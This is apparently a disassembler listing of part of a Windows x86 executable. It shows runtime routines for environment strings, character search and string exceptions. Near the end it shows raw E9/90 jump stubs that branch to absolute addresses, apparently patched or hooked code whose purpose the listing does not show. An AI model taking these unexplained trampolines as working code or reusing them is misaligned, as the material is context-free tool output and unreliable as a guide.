loc_43122B ; --------------------------------------------------------------------------- loc_430FF4: ; CODE XREF: sub_430F50+9Bj cmp dword_4DB0CC, 0 jnz short loc_431034 push 87h push offset dword_434F30 push 2 push 4 call sub_414DD0 add esp, 10h mov dword_4DB0CC, eax cmp dword_4DB0CC, 0 jnz short loc_431029 or eax, 0FFFFFFFFh jmp loc_43122B ; --------------------------------------------------------------------------- loc_431029: ; CODE XREF: sub_430F50+CFj mov eax, dword_4DB0CC mov dword ptr [eax], 0 loc_431034: ; CODE XREF: sub_430F50+ABj cmp dword_4DB0D4, 0 jnz short loc_431075 push 8Eh push offset dword_434F30 push 2 push 4 call sub_414DD0 add esp, 10h mov dword_4DB0D4, eax cmp dword_4DB0D4, 0 jnz short loc_431069 or eax, 0FFFFFFFFh jmp loc_43122B ; --------------------------------------------------------------------------- loc_431069: ; CODE XREF: sub_430F50+10Fj mov ecx, dword_4DB0D4 mov dword ptr [ecx], 0 loc_431075: ; CODE XREF: sub_430F50+6Cj ; sub_430F50:loc_430FE2j ... mov edx, dword_4DB0CC mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_431230 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_431131 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_431131 cmp [ebp+var_14], 0 jz short loc_431123 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_415860 add esp, 8 jmp short loc_4310CF ; --------------------------------------------------------------------------- loc_4310C6: ; CODE XREF: sub_430F50+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_4310CF: ; CODE XREF: sub_430F50+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_4310F0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_4310C6 ; --------------------------------------------------------------------------- loc_4310F0: ; CODE XREF: sub_430F50+189j push 0B9h push offset dword_434F30 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_415260 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_431121 mov edx, [ebp+var_C] mov dword_4DB0CC, edx loc_431121: ; CODE XREF: sub_430F50+1C6j jmp short loc_43112F ; --------------------------------------------------------------------------- loc_431123: ; CODE XREF: sub_430F50+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_43112F: ; CODE XREF: sub_430F50:loc_431121j jmp short loc_4311A4 ; --------------------------------------------------------------------------- loc_431131: ; CODE XREF: sub_430F50+148j ; sub_430F50+154j cmp [ebp+var_14], 0 jnz short loc_43119D cmp [ebp+var_8], 0 jge short loc_431145 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_431145: ; CODE XREF: sub_430F50+1EBj push 0CEh push offset dword_434F30 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_415260 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_431179 or eax, 0FFFFFFFFh jmp loc_43122B ; --------------------------------------------------------------------------- loc_431179: ; CODE XREF: sub_430F50+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov dword_4DB0CC, eax jmp short loc_4311A4 ; --------------------------------------------------------------------------- loc_43119D: ; CODE XREF: sub_430F50+1E5j xor eax, eax jmp loc_43122B ; --------------------------------------------------------------------------- loc_4311A4: ; CODE XREF: sub_430F50:loc_43112Fj ; sub_430F50+24Bj cmp [ebp+arg_4], 0 jz short loc_431229 push 0E5h push offset dword_434F30 push 2 mov ecx, [ebp+arg_0] push ecx call sub_414BE0 add esp, 4 add eax, 2 push eax call sub_414DD0 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_431229 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_4184C0 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax nop call near ptr 25F0000h push 2 mov ecx, [ebp+var_10] push ecx call sub_415860 add esp, 8 loc_431229: ; CODE XREF: sub_430F50+258j ; sub_430F50+285j xor eax, eax loc_43122B: ; CODE XREF: sub_430F50+2Fj ; sub_430F50+8Dj ... pop esi mov esp, ebp pop ebp retn sub_430F50 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431230 proc near ; CODE XREF: sub_430F50+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, dword_4DB0CC mov [ebp+var_4], eax jmp short loc_431247 ; --------------------------------------------------------------------------- loc_43123E: ; CODE XREF: sub_431230:loc_431298j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_431247: ; CODE XREF: sub_431230+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43129A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_4301A0 add esp, 0Ch test eax, eax jnz short loc_431298 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43128A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_431298 loc_43128A: ; CODE XREF: sub_431230+48j mov eax, [ebp+var_4] sub eax, dword_4DB0CC sar eax, 2 jmp short loc_4312A8 ; --------------------------------------------------------------------------- loc_431298: ; CODE XREF: sub_431230+37j ; sub_431230+58j jmp short loc_43123E ; --------------------------------------------------------------------------- loc_43129A: ; CODE XREF: sub_431230+1Dj mov eax, [ebp+var_4] sub eax, dword_4DB0CC sar eax, 2 neg eax loc_4312A8: ; CODE XREF: sub_431230+66j mov esp, ebp pop ebp retn sub_431230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4312B0 proc near ; CODE XREF: sub_430F50+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_4312D0 xor eax, eax jmp loc_43139A ; --------------------------------------------------------------------------- loc_4312D0: ; CODE XREF: sub_4312B0+17j ; sub_4312B0+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_4312ED mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_4312D0 ; --------------------------------------------------------------------------- loc_4312ED: ; CODE XREF: sub_4312B0+30j push 146h push offset dword_434F30 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_414DD0 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_431325 push 9 call sub_41A9A0 add esp, 4 loc_431325: ; CODE XREF: sub_4312B0+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_43132B: ; CODE XREF: sub_4312B0+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43138E push 14Fh push offset dword_434F30 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_414DD0 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43137A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_4184C0 add esp, 8 loc_43137A: ; CODE XREF: sub_4312B0+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_43132B ; --------------------------------------------------------------------------- loc_43138E: ; CODE XREF: sub_4312B0+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43139A: ; CODE XREF: sub_4312B0+1Bj mov esp, ebp pop ebp retn sub_4312B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4313A0 proc near ; CODE XREF: sub_430F50+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp dword_4DB57C, 0 jnz short loc_4313C2 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_4185C0 add esp, 8 jmp loc_431489 ; --------------------------------------------------------------------------- loc_4313C2: ; CODE XREF: sub_4313A0+Bj push 19h call sub_41B780 add esp, 4 jmp short loc_4313D7 ; --------------------------------------------------------------------------- loc_4313CE: ; CODE XREF: sub_4313A0:loc_431466j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_4313D7: ; CODE XREF: sub_4313A0+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43146B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, byte_4DB681[eax] and ecx, 4 test ecx, ecx jz short loc_431456 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_431428 push 19h call sub_41B820 add esp, 4 xor eax, eax jmp short loc_431489 ; --------------------------------------------------------------------------- loc_431428: ; CODE XREF: sub_4313A0+78j mov edx, [ebp+var_4] and edx, 0FFFFh shl edx, 8 mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] or edx, ecx cmp [ebp+arg_4], edx jnz short loc_431454 push 19h call sub_41B820 add esp, 4 mov eax, [ebp+arg_0] sub eax, 1 jmp short loc_431489 ; --------------------------------------------------------------------------- loc_431454: ; CODE XREF: sub_4313A0+A0j jmp short loc_431466 ; --------------------------------------------------------------------------- loc_431456: ; CODE XREF: sub_4313A0+64j mov edx, [ebp+var_4] and edx, 0FFFFh cmp [ebp+arg_4], edx jnz short loc_431466 jmp short loc_43146B ; --------------------------------------------------------------------------- loc_431466: ; CODE XREF: sub_4313A0:loc_431454j ; sub_4313A0+C2j jmp loc_4313CE ; --------------------------------------------------------------------------- loc_43146B: ; CODE XREF: sub_4313A0+4Dj ; sub_4313A0+C4j push 19h call sub_41B820 add esp, 4 mov eax, [ebp+var_4] and eax, 0FFFFh cmp [ebp+arg_4], eax jnz short loc_431487 mov eax, [ebp+arg_0] jmp short loc_431489 ; --------------------------------------------------------------------------- loc_431487: ; CODE XREF: sub_4313A0+E0j xor eax, eax loc_431489: ; CODE XREF: sub_4313A0+1Dj ; sub_4313A0+86j ... mov esp, ebp pop ebp retn sub_4313A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431490 proc near ; CODE XREF: sub_40BDDE+15p ; sub_40BE72+15p ... var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_431490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aStringTooLong ; "string too long" lea ecx, [ebp+var_38] call sub_40BD8B mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_431640 push offset dword_435288 lea edx, [ebp+var_28] push edx call sub_432050 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_431490 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4314F0 proc near ; CODE XREF: sub_431580+10p ; sub_431760+Ep ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4314F0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_10] call sub_431DD0 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40BD61 mov edx, [ebp+var_10] mov dword ptr [edx], offset off_434F50 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_10] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_4314F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431560 proc near ; DATA XREF: ___:00434F54o ; ___:00434F64o ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] add ecx, 0Ch call sub_40BE4D mov esp, ebp pop ebp retn sub_431560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431580 proc near ; DATA XREF: ___:00434F58o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_4314F0 push offset dword_4352F8 lea ecx, [ebp+var_1C] push ecx call sub_432050 mov esp, ebp pop ebp retn sub_431580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4315B0 proc near ; CODE XREF: sub_431610+Ap ; sub_4316E0+13p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_4315B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov [ebp+var_10], ecx mov eax, [ebp+var_10] mov dword ptr [eax], offset off_434F50 mov [ebp+var_4], 0 mov ecx, [ebp+var_10] add ecx, 0Ch call sub_40BDAE mov [ebp+var_4], 0FFFFFFFFh mov ecx, [ebp+var_10] call sub_431E90 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_4315B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431610 proc near ; DATA XREF: ___:off_434F50o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4315B0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_431635 mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431635: ; CODE XREF: sub_431610+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431610 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431640 proc near ; CODE XREF: sub_431490+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_431670 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_434F60 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431670 proc near ; CODE XREF: sub_431640+Ep ; sub_4317F0+Ep var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_431670 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 mov [ebp+var_14], ecx mov [ebp+var_10], offset dword_433E6C lea eax, [ebp+var_10] push eax mov ecx, [ebp+var_14] call sub_431D60 mov [ebp+var_4], 0 mov ecx, [ebp+arg_0] push ecx mov ecx, [ebp+var_14] add ecx, 0Ch call sub_40BD61 mov edx, [ebp+var_14] mov dword ptr [edx], offset off_434F50 mov [ebp+var_4], 0FFFFFFFFh mov eax, [ebp+var_14] mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn 4 sub_431670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4316E0 proc near ; CODE XREF: sub_431730+Ap ; DATA XREF: ___:0043528Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_434F60 mov ecx, [ebp+var_4] call sub_4315B0 mov esp, ebp pop ebp retn sub_4316E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431700 proc near ; DATA XREF: ___:00434F68o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_431760 push offset dword_435288 lea ecx, [ebp+var_1C] push ecx call sub_432050 mov esp, ebp pop ebp retn sub_431700 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431730 proc near ; DATA XREF: ___:off_434F60o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_4316E0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_431755 mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431755: ; CODE XREF: sub_431730+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431730 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431760 proc near ; CODE XREF: sub_431700+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4314F0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_434F60 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431760 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431790 proc near ; CODE XREF: sub_40BEDC+17p ; sub_40C15B+Ep var_3C = byte ptr -3Ch var_38 = byte ptr -38h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset SEH_431790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h lea eax, [ebp+var_3C] push eax push offset aInvalidStringP ; "invalid string position" lea ecx, [ebp+var_38] call sub_40BD8B mov [ebp+var_4], 0 lea ecx, [ebp+var_38] push ecx lea ecx, [ebp+var_28] call sub_4317F0 push offset dword_435388 lea edx, [ebp+var_28] push edx call sub_432050 mov ecx, [ebp+var_C] mov large fs:0, ecx mov esp, ebp pop ebp retn sub_431790 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4317F0 proc near ; CODE XREF: sub_431790+3Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_431670 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_434F88 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4317F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431820 proc near ; CODE XREF: sub_431870+Ap ; DATA XREF: ___:0043538Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_434F88 mov ecx, [ebp+var_4] call sub_4315B0 mov esp, ebp pop ebp retn sub_431820 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431840 proc near ; DATA XREF: ___:00434F90o var_20 = dword ptr -20h var_1C = byte ptr -1Ch push ebp mov ebp, esp sub esp, 20h mov [ebp+var_20], ecx mov eax, [ebp+var_20] push eax lea ecx, [ebp+var_1C] call sub_4318A0 push offset dword_435388 lea ecx, [ebp+var_1C] push ecx call sub_432050 mov esp, ebp pop ebp retn sub_431840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431870 proc near ; DATA XREF: ___:off_434F88o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_431820 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_431895 mov ecx, [ebp+var_4] push ecx call sub_419B00 add esp, 4 loc_431895: ; CODE XREF: sub_431870+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_431870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4318A0 proc near ; CODE XREF: sub_431840+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_4] call sub_4314F0 mov ecx, [ebp+var_4] mov dword ptr [ecx], offset off_434F88 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_4318A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4318D0 proc near ; DATA XREF: ___:0043600Co push ebp mov ebp, esp call sub_40C32A call sub_4318F0 call sub_431910 call sub_431940 pop ebp retn sub_4318D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4318F0 proc near ; CODE XREF: sub_4318D0+8p push ebp mov ebp, esp push offset nullsub_1 call sub_419C90 add esp, 4 pop ebp retn sub_4318F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431910 proc near ; CODE XREF: sub_4318D0+Dp push ebp mov ebp, esp xor eax, eax mov al, byte_4DC7D8 and eax, 1 test eax, eax jnz short loc_431930 mov cl, byte_4DC7D8 or cl, 1 mov byte_4DC7D8, cl loc_431930: ; CODE XREF: sub_431910+Fj pop ebp retn sub_431910 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431940 proc near ; CODE XREF: sub_4318D0+12p push ebp mov ebp, esp push offset sub_431960 call sub_419C90 add esp, 4 pop ebp retn sub_431940 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431960 proc near ; DATA XREF: sub_431940+3o push ebp mov ebp, esp pop ebp retn sub_431960 endp ; --------------------------------------------------------------------------- db 0CCh db 90h db 0E9h dd 7167FF24h, 67F987E9h ; --------------------------------------------------------------------------- jno short loc_4319A9 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431972 proc near ; CODE XREF: sub_40B707+5Ep nop jmp near ptr 71AB1B7Bh sub_431972 endp ; --------------------------------------------------------------------------- dd 680177E9h, 0E9905571h, 7168229Eh, 683D07E9h, 0E9907471h dd 716800DDh, 25F7E990h, 0E9907168h, 716824C1h, 67FDA5E9h dd 0E9902D71h, 71686CE5h db 0E9h ; --------------------------------------------------------------------------- loc_4319A9: ; CODE XREF: ___:00431970j xor eax, 7B716844h nop jmp near ptr 71AB3ECEh ; --------------------------------------------------------------------------- db 90h db 0E9h, 0A0h, 0FBh dd 0E9907167h, 7168281Ah, 0FE70E990h, 0E9907167h, 77A442E9h dd 0E6C9E990h, 0C8E90223h, 620223E9h, 0E622E990h, 1DE90224h dd 40225E6h, 0EBAFE990h, 21E90225h, 70225ECh, 0EEF9E990h dd 0E9900225h, 226E604h, 0ED95E990h, 0E9900226h, 226EEF7h dd 0F0E4E990h, 0E9900226h, 227E5ECh, 27EC3FE9h, 0E9905002h dd 227EC6Fh, 0F0BEE990h, 0E9900227h, 227F20Ch, 0F29CE990h dd 0C9E90227h, 0DE0228E5h, 0EBC1E990h, 0E9900228h, 229E5BCh dd 29F166E9h, 0B1E98D02h, 0A1022AE5h, 0E5AAE990h, 0E990022Bh dd 22BEAE3h, 0E59EE990h, 0E990022Ch, 77B4C898h, 0C7B1E990h dd 0E99077B4h, 22CEAC4h, 0ECF6E990h, 81E9022Ch, 0B3022DE5h dd 0E57AE990h, 0E990022Eh, 22FE574h, 0EE62E990h, 0E990022Fh dd 22FEF64h, 0F464E990h, 0E990022Fh, 230E55Ch, 0F841E990h dd 51E90230h, 5A0231E5h, 0F0E5E990h, 45E90231h, 0E80232E5h dd 0E7C8E990h, 39E90232h, 0B80233E5h, 33EB88E9h, 0E9906702h dd 234E52Ch, 0E526E990h, 21E90235h, 5A0236E5h, 36F0B8E9h dd 0E9903402h, 236F376h, 37E50FE9h, 0E990B302h, 237E68Eh dd 0E502E990h, 0E9900238h, 239E4FCh, 0EB38E990h, 0F1E90239h dd 37021AE4h, 39F07CE9h, 0E990A902h, 23AE4E4h, 0EBD0E990h dd 0E990023Ah, 23BE4D8h, 0E4D2E990h, 0E990023Ch, 23CF645h dd 0E4C6E990h, 0E990023Dh, 23DF678h, 3DFA1CE9h, 0E990A602h dd 23DFE17h, 3EE4AFE9h, 0E990A602h, 23EFA93h, 0FFD5E990h dd 0E990023Eh, 23FE49Ch, 0E5B2E990h, 0E990023Fh, 240E490h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_431B70 proc near ; CODE XREF: sub_419340+27p ; sub_4196B0+13p nop jmp near ptr 2840553h sub_431B70 endp ; --------------------------------------------------------------------------- db 90h db 0E9h dd 240F0FFh, 0F148E990h, 0E9900240h, 241E478h, 95E990h dd 0ADE90242h, 71024200h, 1B0BE990h, 0E99077A8h, 242E460h dd 0E717E990h, 0E9900242h, 242EB30h, 0EB9AE990h, 0E9900242h dd 243E448h, 0E442E990h, 0E9900244h, 2450506h, 450DC2E9h dd 0E9902F02h, 245E430h, 0EA2DE990h, 0E9900245h, 245EBDAh dd 0ED8DE990h, 1AE90245h, 40245EEh, 0E412E990h, 0E9900246h dd 246E848h, 46F04BE9h, 0E9909A02h, 246F0DDh, 0F1E7E990h dd 0E9900246h, 247E3F4h, 0EC38E990h, 0E9900247h, 247EC64h dd 0EC6EE990h, 0E9900247h, 248E3DCh, 48EB51E9h, 0E9905802h dd 249E3D0h, 0E3CAE990h, 0E990024Ah, 24AF480h, 0F67BE990h dd 0E990024Ah, 24AF793h, 0F7EEE990h, 0E990024Ah, 223E3ACh dd 0F0BEE990h, 0ADE90222h, 0A60222EBh, 0E39AE990h, 0E9900222h dd 221E394h, 21DE990h, 0E9900221h, 2210181h, 0E382E990h dd 0E9900220h, 21FE421h, 0E376E990h, 81E9021Fh, 95021EEFh dd 0E36AE990h, 0E990021Eh, 21DE364h, 0EAF2E990h, 59E9021Ch dd 67021CE3h, 0E352E990h, 0CCCC021Bh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431CB0 proc near ; CODE XREF: sub_411AB7+21p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_431CBE xor eax, eax jmp short loc_431CF3 ; --------------------------------------------------------------------------- loc_431CBE: ; CODE XREF: sub_431CB0+8j mov eax, [ebp+arg_0] push eax call sub_414BE0 add esp, 4 add eax, 1 push eax call sub_414DB0 add esp, 4 mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_431CF1 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] push edx call sub_4184C0 add esp, 8 jmp short loc_431CF3 ; --------------------------------------------------------------------------- loc_431CF1: ; CODE XREF: sub_431CB0+2Dj xor eax, eax loc_431CF3: ; CODE XREF: sub_431CB0+Cj ; sub_431CB0+3Fj mov esp, ebp pop ebp retn sub_431CB0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_434F98 mov ecx, [ebp-4] mov dword ptr [ecx+4], 0 mov edx, [ebp-4] mov dword ptr [edx+8], 0 mov eax, [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= 